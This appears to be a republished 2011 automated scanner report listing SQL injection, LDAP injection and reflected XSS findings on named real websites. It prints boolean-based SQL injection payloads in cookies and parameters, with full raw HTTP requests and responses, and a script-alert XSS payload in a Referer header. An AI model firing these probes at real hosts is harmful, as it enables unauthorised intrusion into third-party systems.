Bounty Hunting: NO BUGS = NO PAYMENT. Google Vulnerability Rewards Program as the example for payment terms and conditions.



CWE-79, DORK Report, XSS, Cross Site Scripting, Various Hosts

XSS CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by CloudScan Vulnerability Crawler at Mon Feb 14 09:16:08 CST 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

1. SQL injection

1.1. http://tap.rubiconproject.com/oz/sensor [cd cookie]

1.2. http://tap.rubiconproject.com/oz/sensor [put_2025 cookie]

1.3. http://tap.rubiconproject.com/oz/sensor [t parameter]

1.4. http://tap.rubiconproject.com/oz/sensor [xt parameter]

2. LDAP injection

2.1. http://tap.rubiconproject.com/oz/sensor [put_1185 cookie]

2.2. http://tap.rubiconproject.com/oz/sensor [put_1197 cookie]

2.3. http://tap.rubiconproject.com/oz/sensor [put_1994 cookie]

3. Cross-site scripting (reflected)

3.1. http://ol5u8o2ka38be34j62ktnefji390jhro-a-fc-opensocial.googleusercontent.com/gadgets/ifr [url parameter]

3.2. http://pubads.g.doubleclick.net/gampad/ads [slotname parameter]

3.3. http://tap.rubiconproject.com/partner/agent/rubicon/channels.js [cb parameter]

3.4. http://www.nasdaq.com/asp/quotesannualreportlink.asp [selected parameter]

3.5. http://www.nydailynews.com/gossip/gatecrasher/index.html [REST URL parameter 1]

3.6. http://www.nydailynews.com/gossip/gatecrasher/index.html [REST URL parameter 2]

3.7. http://www.nydailynews.com/gossip/gatecrasher/index.html [REST URL parameter 3]

3.8. http://www.nasdaq.com/asp/quotesannualreportlink.asp [User-Agent HTTP header]

3.9. http://www.nasdaq.com/asp/summaryquote.asp [User-Agent HTTP header]

3.10. http://news.nasdaq.com/aspxcontent/newsheadlines.aspx [User-Agent HTTP header]

3.11. http://seg.sharethis.com/getSegment.php [__stid cookie]

4. Open redirection



1. SQL injection  next
There are 4 instances of this issue:

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Issue remediation

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:



1.1. http://tap.rubiconproject.com/oz/sensor [cd cookie]  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://tap.rubiconproject.com
Path:   /oz/sensor

Issue detail

The cd cookie appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the cd cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /oz/sensor?p=rubicon&pc=8000/12865&cd=false&xt=23&k=stock:173,stock+price:140,price+nasdaq:80,nasdaq:66,symbol+lookup:64,next+time:64,symbol+list:64,pre+market:64,market:56,quotes:54,symbol:45,market+data:40,stock+charts:40,stock+quotes:40,stock+prices:40,company+specific:40,get+stock:40,summarized+market:40,specific+research:40,stock+research:40,research+tools:40,price:35,extended+trading:32,personal+finance:32,market+activity:32,nasdaq+omx:32,portfolio+tracker:32,quote:27,charts:26,site+map:24,hours+quotes:24,mutual+funds:24,company+list:24,market+quotes:24,stock+trading:24,global+indices:24,tools:24,company:22,research:20,research+tool:20,&rd=burp&t=stock+quote+-+stock+price+-+NASDAQ.com HTTP/1.1
Host: tap.rubiconproject.com
Proxy-Connection: keep-alive
Referer: http://www.nasdaq.com/asp/summaryquote.asp
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: au=GIP9HWY4-MADS-10.208.38.239; put_2025=38f8a1ac-1e96-40c8-8d5e-172234bf5f5f; put_1430=e6f6dead-6db2-4b47-a015-f587315583eb; put_2081=CA-00000000456885722; put_2101=82d726c3-44ee-407c-85c4-39a0b0fc11ef; put_1986=4760492999213801733; put_2132=D8DB51BF08484217F5D14AB47F4002AD; put_2100=usr3fd748acf5bcab14; put_1197=3297869551067506954; put_1902=CfTKz1vxnM4Qo87LXqXVyg71y5oQqc-aCvFBOBEd; put_1994=6ch47d7o8wtv; put_1512=4d3702bc-839e-0690-5370-3c19a9561295; xdp_ti="7 Feb 2011 22:48:47 GMT"; lm="7 Feb 2011 22:48:47 GMT"; csi15=667425.js^1^1297190267^1297190267&329267.js^1^1297190250^1297190250&3178297.js^1^1297190221^1297190221&3178300.js^1^1297186286^1297186286&3187866.js^2^1297186264^1297186285&3173809.js^1^1297186265^1297186265&3187311.js^2^1297186228^1297186247&3144082.js^1^1297186229^1297186229&3174520.js^1^1297185849^1297185849; ruid=154d290e46adc1d6f373dd09^14^1297195255^2915161843; csi9=3187865.js^2^1297185887^1297195331&329266.js^1^1297195268^1297195268&3138806.js^6^1297185888^1297195266&3186750.js^1^1297195259^1297195259&3191877.js^1^1297190198^1297190198&3167236.js^2^1297185969^1297190114&3144081.js^1^1297185974^1297185974&667427.js^1^1297185889^1297185889; csi2=3185375.js^3^1297190198^1297195331&3187864.js^6^1297186263^1297195302&329265.js^1^1297195268^1297195268&3140640.js^1^1297195255^1297195255&2415222.js^2^1297186265^1297186287&3162307.js^2^1297186245^1297186249&3187064.js^1^1297186232^1297186232&3138805.js^3^1297185842^1297186231&3144080.js^1^1297186227^1297186227&667421.js^1^1297186143^1297186143&3174518.js^1^1297185827^1297185827; put_1185=3011330574290390485; cd=false'%20and%201%3d1--%20; dq=41|5|36|0; khaos=GIPAEQ2D-C-IOYY; rpb=2399%3D1%265574%3D1%264210%3D1%265328%3D1%264554%3D1%265671%3D1%265852%3D1%266286%3D1%266073%3D1%264214%3D1%262119%3D1%265722%3D1%264939%3D1%264940%3D1%264222%3D1%266457%3D1%266276%3D1%264212%3D1%266356%3D1%262372%3D1%264944%3D1%262374%3D1%264970%3D1

Response 1

HTTP/1.1 204 No Content
Date: Sun, 13 Feb 2011 02:11:29 GMT
Server: TRP Apache-Coyote/1.1
p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Cache-Control: no-cache
Expires: Tue, 01 Jan 2008 00:12:30 GMT
Cache-control: private
Set-Cookie: cd=false; Domain=.rubiconproject.com; Expires=Mon, 13-Feb-2012 02:11:29 GMT; Path=/
Set-Cookie: dq=42|5|37|0; Expires=Mon, 13-Feb-2012 02:11:29 GMT; Path=/
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8

Request 2

GET /oz/sensor?p=rubicon&pc=8000/12865&cd=false&xt=23&k=stock:173,stock+price:140,price+nasdaq:80,nasdaq:66,symbol+lookup:64,next+time:64,symbol+list:64,pre+market:64,market:56,quotes:54,symbol:45,market+data:40,stock+charts:40,stock+quotes:40,stock+prices:40,company+specific:40,get+stock:40,summarized+market:40,specific+research:40,stock+research:40,research+tools:40,price:35,extended+trading:32,personal+finance:32,market+activity:32,nasdaq+omx:32,portfolio+tracker:32,quote:27,charts:26,site+map:24,hours+quotes:24,mutual+funds:24,company+list:24,market+quotes:24,stock+trading:24,global+indices:24,tools:24,company:22,research:20,research+tool:20,&rd=burp&t=stock+quote+-+stock+price+-+NASDAQ.com HTTP/1.1
Host: tap.rubiconproject.com
Proxy-Connection: keep-alive
Referer: http://www.nasdaq.com/asp/summaryquote.asp
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: au=GIP9HWY4-MADS-10.208.38.239; put_2025=38f8a1ac-1e96-40c8-8d5e-172234bf5f5f; put_1430=e6f6dead-6db2-4b47-a015-f587315583eb; put_2081=CA-00000000456885722; put_2101=82d726c3-44ee-407c-85c4-39a0b0fc11ef; put_1986=4760492999213801733; put_2132=D8DB51BF08484217F5D14AB47F4002AD; put_2100=usr3fd748acf5bcab14; put_1197=3297869551067506954; put_1902=CfTKz1vxnM4Qo87LXqXVyg71y5oQqc-aCvFBOBEd; put_1994=6ch47d7o8wtv; put_1512=4d3702bc-839e-0690-5370-3c19a9561295; xdp_ti="7 Feb 2011 22:48:47 GMT"; lm="7 Feb 2011 22:48:47 GMT"; csi15=667425.js^1^1297190267^1297190267&329267.js^1^1297190250^1297190250&3178297.js^1^1297190221^1297190221&3178300.js^1^1297186286^1297186286&3187866.js^2^1297186264^1297186285&3173809.js^1^1297186265^1297186265&3187311.js^2^1297186228^1297186247&3144082.js^1^1297186229^1297186229&3174520.js^1^1297185849^1297185849; ruid=154d290e46adc1d6f373dd09^14^1297195255^2915161843; csi9=3187865.js^2^1297185887^1297195331&329266.js^1^1297195268^1297195268&3138806.js^6^1297185888^1297195266&3186750.js^1^1297195259^1297195259&3191877.js^1^1297190198^1297190198&3167236.js^2^1297185969^1297190114&3144081.js^1^1297185974^1297185974&667427.js^1^1297185889^1297185889; csi2=3185375.js^3^1297190198^1297195331&3187864.js^6^1297186263^1297195302&329265.js^1^1297195268^1297195268&3140640.js^1^1297195255^1297195255&2415222.js^2^1297186265^1297186287&3162307.js^2^1297186245^1297186249&3187064.js^1^1297186232^1297186232&3138805.js^3^1297185842^1297186231&3144080.js^1^1297186227^1297186227&667421.js^1^1297186143^1297186143&3174518.js^1^1297185827^1297185827; put_1185=3011330574290390485; cd=false'%20and%201%3d2--%20; dq=41|5|36|0; khaos=GIPAEQ2D-C-IOYY; rpb=2399%3D1%265574%3D1%264210%3D1%265328%3D1%264554%3D1%265671%3D1%265852%3D1%266286%3D1%266073%3D1%264214%3D1%262119%3D1%265722%3D1%264939%3D1%264940%3D1%264222%3D1%266457%3D1%266276%3D1%264212%3D1%266356%3D1%262372%3D1%264944%3D1%262374%3D1%264970%3D1

Response 2

HTTP/1.1 204 No Content
Date: Sun, 13 Feb 2011 02:11:29 GMT
Server: TRP Apache-Coyote/1.1
Cache-Control: no-store, no-cache, must-revalidate
Cache-control: private
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8


1.2. http://tap.rubiconproject.com/oz/sensor [put_2025 cookie]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://tap.rubiconproject.com
Path:   /oz/sensor

Issue detail

The put_2025 cookie appears to be vulnerable to SQL injection attacks. The payloads 20052005'%20or%201%3d1--%20 and 20052005'%20or%201%3d2--%20 were each submitted in the put_2025 cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /oz/sensor?p=rubicon&pc=6005/12414&cd=false&xt=5&k=&rd=drudgereport.com HTTP/1.1
Host: tap.rubiconproject.com
Proxy-Connection: keep-alive
Referer: http://intermrkts.vo.llnwd.net/o35/u/ExtraCode/DrudgeReport/intermarkets.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: au=GIP9HWY4-MADS-10.208.38.239; put_2025=38f8a1ac-1e96-40c8-8d5e-172234bf5f5f20052005'%20or%201%3d1--%20; put_1430=e6f6dead-6db2-4b47-a015-f587315583eb; put_2081=CA-00000000456885722; put_2101=82d726c3-44ee-407c-85c4-39a0b0fc11ef; put_1986=4760492999213801733; put_2132=D8DB51BF08484217F5D14AB47F4002AD; put_2100=usr3fd748acf5bcab14; put_1197=3297869551067506954; put_1902=CfTKz1vxnM4Qo87LXqXVyg71y5oQqc-aCvFBOBEd; put_1994=6ch47d7o8wtv; put_1512=4d3702bc-839e-0690-5370-3c19a9561295; xdp_ti="7 Feb 2011 22:48:47 GMT"; lm="7 Feb 2011 22:48:47 GMT"; csi15=667425.js^1^1297190267^1297190267&329267.js^1^1297190250^1297190250&3178297.js^1^1297190221^1297190221&3178300.js^1^1297186286^1297186286&3187866.js^2^1297186264^1297186285&3173809.js^1^1297186265^1297186265&3187311.js^2^1297186228^1297186247&3144082.js^1^1297186229^1297186229&3174520.js^1^1297185849^1297185849; ruid=154d290e46adc1d6f373dd09^14^1297195255^2915161843; csi9=3187865.js^2^1297185887^1297195331&329266.js^1^1297195268^1297195268&3138806.js^6^1297185888^1297195266&3186750.js^1^1297195259^1297195259&3191877.js^1^1297190198^1297190198&3167236.js^2^1297185969^1297190114&3144081.js^1^1297185974^1297185974&667427.js^1^1297185889^1297185889; csi2=3185375.js^3^1297190198^1297195331&3187864.js^6^1297186263^1297195302&329265.js^1^1297195268^1297195268&3140640.js^1^1297195255^1297195255&2415222.js^2^1297186265^1297186287&3162307.js^2^1297186245^1297186249&3187064.js^1^1297186232^1297186232&3138805.js^3^1297185842^1297186231&3144080.js^1^1297186227^1297186227&667421.js^1^1297186143^1297186143&3174518.js^1^1297185827^1297185827; khaos=GIPAEQ2D-C-IOYY; cd=false; dq=33|5|28|0; rpb=2399%3D1%265574%3D1%264210%3D1%265328%3D1%264554%3D1%265671%3D1%265852%3D1%266286%3D1%266073%3D1%264214%3D1%262119%3D1%265722%3D1%264939%3D1%264940%3D1%264222%3D1%264944%3D1%266356%3D1%262112%3D1%262497%3D1%262202%3D1%263512%3D1%262197%3D1%266457%3D1%266276%3D1%264212%3D1; put_1185=3011330574290390485

Response 1

HTTP/1.1 204 No Content
Date: Sun, 13 Feb 2011 01:12:08 GMT
Server: TRP Apache-Coyote/1.1
p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Cache-Control: no-cache
Expires: Tue, 01 Jan 2008 00:12:30 GMT
Cache-control: private
Set-Cookie: cd=false; Domain=.rubiconproject.com; Expires=Mon, 13-Feb-2012 01:12:08 GMT; Path=/
Set-Cookie: dq=34|5|29|0; Expires=Mon, 13-Feb-2012 01:12:08 GMT; Path=/
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8

Request 2

GET /oz/sensor?p=rubicon&pc=6005/12414&cd=false&xt=5&k=&rd=drudgereport.com HTTP/1.1
Host: tap.rubiconproject.com
Proxy-Connection: keep-alive
Referer: http://intermrkts.vo.llnwd.net/o35/u/ExtraCode/DrudgeReport/intermarkets.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: au=GIP9HWY4-MADS-10.208.38.239; put_2025=38f8a1ac-1e96-40c8-8d5e-172234bf5f5f20052005'%20or%201%3d2--%20; put_1430=e6f6dead-6db2-4b47-a015-f587315583eb; put_2081=CA-00000000456885722; put_2101=82d726c3-44ee-407c-85c4-39a0b0fc11ef; put_1986=4760492999213801733; put_2132=D8DB51BF08484217F5D14AB47F4002AD; put_2100=usr3fd748acf5bcab14; put_1197=3297869551067506954; put_1902=CfTKz1vxnM4Qo87LXqXVyg71y5oQqc-aCvFBOBEd; put_1994=6ch47d7o8wtv; put_1512=4d3702bc-839e-0690-5370-3c19a9561295; xdp_ti="7 Feb 2011 22:48:47 GMT"; lm="7 Feb 2011 22:48:47 GMT"; csi15=667425.js^1^1297190267^1297190267&329267.js^1^1297190250^1297190250&3178297.js^1^1297190221^1297190221&3178300.js^1^1297186286^1297186286&3187866.js^2^1297186264^1297186285&3173809.js^1^1297186265^1297186265&3187311.js^2^1297186228^1297186247&3144082.js^1^1297186229^1297186229&3174520.js^1^1297185849^1297185849; ruid=154d290e46adc1d6f373dd09^14^1297195255^2915161843; csi9=3187865.js^2^1297185887^1297195331&329266.js^1^1297195268^1297195268&3138806.js^6^1297185888^1297195266&3186750.js^1^1297195259^1297195259&3191877.js^1^1297190198^1297190198&3167236.js^2^1297185969^1297190114&3144081.js^1^1297185974^1297185974&667427.js^1^1297185889^1297185889; csi2=3185375.js^3^1297190198^1297195331&3187864.js^6^1297186263^1297195302&329265.js^1^1297195268^1297195268&3140640.js^1^1297195255^1297195255&2415222.js^2^1297186265^1297186287&3162307.js^2^1297186245^1297186249&3187064.js^1^1297186232^1297186232&3138805.js^3^1297185842^1297186231&3144080.js^1^1297186227^1297186227&667421.js^1^1297186143^1297186143&3174518.js^1^1297185827^1297185827; khaos=GIPAEQ2D-C-IOYY; cd=false; dq=33|5|28|0; rpb=2399%3D1%265574%3D1%264210%3D1%265328%3D1%264554%3D1%265671%3D1%265852%3D1%266286%3D1%266073%3D1%264214%3D1%262119%3D1%265722%3D1%264939%3D1%264940%3D1%264222%3D1%264944%3D1%266356%3D1%262112%3D1%262497%3D1%262202%3D1%263512%3D1%262197%3D1%266457%3D1%266276%3D1%264212%3D1; put_1185=3011330574290390485

Response 2

HTTP/1.1 204 No Content
Date: Sun, 13 Feb 2011 01:12:08 GMT
Server: TRP Apache-Coyote/1.1
Cache-Control: no-store, no-cache, must-revalidate
Cache-control: private
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8


1.3. http://tap.rubiconproject.com/oz/sensor [t parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://tap.rubiconproject.com
Path:   /oz/sensor

Issue detail

The t parameter appears to be vulnerable to SQL injection attacks. The payloads 14416012'%20or%201%3d1--%20 and 14416012'%20or%201%3d2--%20 were each submitted in the t parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /oz/sensor?p=rubicon&pc=8000/12865&cd=false&xt=23&k=stock:173,stock+price:140,price+nasdaq:80,nasdaq:66,symbol+lookup:64,next+time:64,symbol+list:64,pre+market:64,market:56,quotes:54,symbol:45,market+data:40,stock+charts:40,stock+quotes:40,stock+prices:40,company+specific:40,get+stock:40,summarized+market:40,specific+research:40,stock+research:40,research+tools:40,price:35,extended+trading:32,personal+finance:32,market+activity:32,nasdaq+omx:32,portfolio+tracker:32,quote:27,charts:26,site+map:24,hours+quotes:24,mutual+funds:24,company+list:24,market+quotes:24,stock+trading:24,global+indices:24,tools:24,company:22,research:20,research+tool:20,&rd=burp&t=stock+quote+-+stock+price+-+NASDAQ.com14416012'%20or%201%3d1--%20 HTTP/1.1
Host: tap.rubiconproject.com
Proxy-Connection: keep-alive
Referer: http://www.nasdaq.com/asp/summaryquote.asp
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: au=GIP9HWY4-MADS-10.208.38.239; put_2025=38f8a1ac-1e96-40c8-8d5e-172234bf5f5f; put_1430=e6f6dead-6db2-4b47-a015-f587315583eb; put_2081=CA-00000000456885722; put_2101=82d726c3-44ee-407c-85c4-39a0b0fc11ef; put_1986=4760492999213801733; put_2132=D8DB51BF08484217F5D14AB47F4002AD; put_2100=usr3fd748acf5bcab14; put_1197=3297869551067506954; put_1902=CfTKz1vxnM4Qo87LXqXVyg71y5oQqc-aCvFBOBEd; put_1994=6ch47d7o8wtv; put_1512=4d3702bc-839e-0690-5370-3c19a9561295; xdp_ti="7 Feb 2011 22:48:47 GMT"; lm="7 Feb 2011 22:48:47 GMT"; csi15=667425.js^1^1297190267^1297190267&329267.js^1^1297190250^1297190250&3178297.js^1^1297190221^1297190221&3178300.js^1^1297186286^1297186286&3187866.js^2^1297186264^1297186285&3173809.js^1^1297186265^1297186265&3187311.js^2^1297186228^1297186247&3144082.js^1^1297186229^1297186229&3174520.js^1^1297185849^1297185849; ruid=154d290e46adc1d6f373dd09^14^1297195255^2915161843; csi9=3187865.js^2^1297185887^1297195331&329266.js^1^1297195268^1297195268&3138806.js^6^1297185888^1297195266&3186750.js^1^1297195259^1297195259&3191877.js^1^1297190198^1297190198&3167236.js^2^1297185969^1297190114&3144081.js^1^1297185974^1297185974&667427.js^1^1297185889^1297185889; csi2=3185375.js^3^1297190198^1297195331&3187864.js^6^1297186263^1297195302&329265.js^1^1297195268^1297195268&3140640.js^1^1297195255^1297195255&2415222.js^2^1297186265^1297186287&3162307.js^2^1297186245^1297186249&3187064.js^1^1297186232^1297186232&3138805.js^3^1297185842^1297186231&3144080.js^1^1297186227^1297186227&667421.js^1^1297186143^1297186143&3174518.js^1^1297185827^1297185827; put_1185=3011330574290390485; cd=false; dq=41|5|36|0; khaos=GIPAEQ2D-C-IOYY; rpb=2399%3D1%265574%3D1%264210%3D1%265328%3D1%264554%3D1%265671%3D1%265852%3D1%266286%3D1%266073%3D1%264214%3D1%262119%3D1%265722%3D1%264939%3D1%264940%3D1%264222%3D1%266457%3D1%266276%3D1%264212%3D1%266356%3D1%262372%3D1%264944%3D1%262374%3D1%264970%3D1

Response 1

HTTP/1.1 204 No Content
Date: Sun, 13 Feb 2011 02:10:38 GMT
Server: TRP Apache-Coyote/1.1
p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Cache-Control: no-cache
Expires: Tue, 01 Jan 2008 00:12:30 GMT
Cache-control: private
Set-Cookie: cd=false; Domain=.rubiconproject.com; Expires=Mon, 13-Feb-2012 02:10:38 GMT; Path=/
Set-Cookie: dq=42|5|37|0; Expires=Mon, 13-Feb-2012 02:10:38 GMT; Path=/
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8

Request 2

GET /oz/sensor?p=rubicon&pc=8000/12865&cd=false&xt=23&k=stock:173,stock+price:140,price+nasdaq:80,nasdaq:66,symbol+lookup:64,next+time:64,symbol+list:64,pre+market:64,market:56,quotes:54,symbol:45,market+data:40,stock+charts:40,stock+quotes:40,stock+prices:40,company+specific:40,get+stock:40,summarized+market:40,specific+research:40,stock+research:40,research+tools:40,price:35,extended+trading:32,personal+finance:32,market+activity:32,nasdaq+omx:32,portfolio+tracker:32,quote:27,charts:26,site+map:24,hours+quotes:24,mutual+funds:24,company+list:24,market+quotes:24,stock+trading:24,global+indices:24,tools:24,company:22,research:20,research+tool:20,&rd=burp&t=stock+quote+-+stock+price+-+NASDAQ.com14416012'%20or%201%3d2--%20 HTTP/1.1
Host: tap.rubiconproject.com
Proxy-Connection: keep-alive
Referer: http://www.nasdaq.com/asp/summaryquote.asp
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: au=GIP9HWY4-MADS-10.208.38.239; put_2025=38f8a1ac-1e96-40c8-8d5e-172234bf5f5f; put_1430=e6f6dead-6db2-4b47-a015-f587315583eb; put_2081=CA-00000000456885722; put_2101=82d726c3-44ee-407c-85c4-39a0b0fc11ef; put_1986=4760492999213801733; put_2132=D8DB51BF08484217F5D14AB47F4002AD; put_2100=usr3fd748acf5bcab14; put_1197=3297869551067506954; put_1902=CfTKz1vxnM4Qo87LXqXVyg71y5oQqc-aCvFBOBEd; put_1994=6ch47d7o8wtv; put_1512=4d3702bc-839e-0690-5370-3c19a9561295; xdp_ti="7 Feb 2011 22:48:47 GMT"; lm="7 Feb 2011 22:48:47 GMT"; csi15=667425.js^1^1297190267^1297190267&329267.js^1^1297190250^1297190250&3178297.js^1^1297190221^1297190221&3178300.js^1^1297186286^1297186286&3187866.js^2^1297186264^1297186285&3173809.js^1^1297186265^1297186265&3187311.js^2^1297186228^1297186247&3144082.js^1^1297186229^1297186229&3174520.js^1^1297185849^1297185849; ruid=154d290e46adc1d6f373dd09^14^1297195255^2915161843; csi9=3187865.js^2^1297185887^1297195331&329266.js^1^1297195268^1297195268&3138806.js^6^1297185888^1297195266&3186750.js^1^1297195259^1297195259&3191877.js^1^1297190198^1297190198&3167236.js^2^1297185969^1297190114&3144081.js^1^1297185974^1297185974&667427.js^1^1297185889^1297185889; csi2=3185375.js^3^1297190198^1297195331&3187864.js^6^1297186263^1297195302&329265.js^1^1297195268^1297195268&3140640.js^1^1297195255^1297195255&2415222.js^2^1297186265^1297186287&3162307.js^2^1297186245^1297186249&3187064.js^1^1297186232^1297186232&3138805.js^3^1297185842^1297186231&3144080.js^1^1297186227^1297186227&667421.js^1^1297186143^1297186143&3174518.js^1^1297185827^1297185827; put_1185=3011330574290390485; cd=false; dq=41|5|36|0; khaos=GIPAEQ2D-C-IOYY; rpb=2399%3D1%265574%3D1%264210%3D1%265328%3D1%264554%3D1%265671%3D1%265852%3D1%266286%3D1%266073%3D1%264214%3D1%262119%3D1%265722%3D1%264939%3D1%264940%3D1%264222%3D1%266457%3D1%266276%3D1%264212%3D1%266356%3D1%262372%3D1%264944%3D1%262374%3D1%264970%3D1

Response 2

HTTP/1.1 204 No Content
Date: Sun, 13 Feb 2011 02:10:38 GMT
Server: TRP Apache-Coyote/1.1
Cache-Control: no-store, no-cache, must-revalidate
Cache-control: private
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8


1.4. http://tap.rubiconproject.com/oz/sensor [xt parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://tap.rubiconproject.com
Path:   /oz/sensor

Issue detail

The xt parameter appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the xt parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /oz/sensor?p=rubicon&pc=8000/12865&cd=false&xt=15'%20and%201%3d1--%20&k=annual+reports:112,infoquotes+annual:80,stock:65,next+time:64,symbol+list:64,symbol+lookup:64,mutual+funds:64,pre+market:64,annual:48,market:46,nasdaq:46,quotes:44,symbol:43,free+stock:40,nasdaq+amex:40,stock+quotes:40,quotes+nasdaq:40,portfolio+tracking:40,investment+information:40,annual+report:40,amex+nyse:40,portfolio+tracker:32,market+activity:32,extended+trading:32,nasdaq+omx:32,personal+finance:32,company+list:24,hours+quotes:24,site+map:24,precision+ir:24,global+indices:24,market+quotes:24,portfolio:24,quote:22,stock+quote:20,news:20,infoquotes:20,reports:20,software:20,mutual+fund:20,&t=InfoQuotes+-+Annual+Reports HTTP/1.1
Host: tap.rubiconproject.com
Proxy-Connection: keep-alive
Referer: http://www.nasdaq.com/asp/quotesannualreportlink.asp?symbol=1F3AB%22%3E%3CSCRIPT%3EALERT(1)%3C/SCRIPT%3EE57FDED90B5&selected=1F3AB%22%3E%3CSCRIPT%3EALERT(1)%3C/SCRIPT%3EE57FDED90B5
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
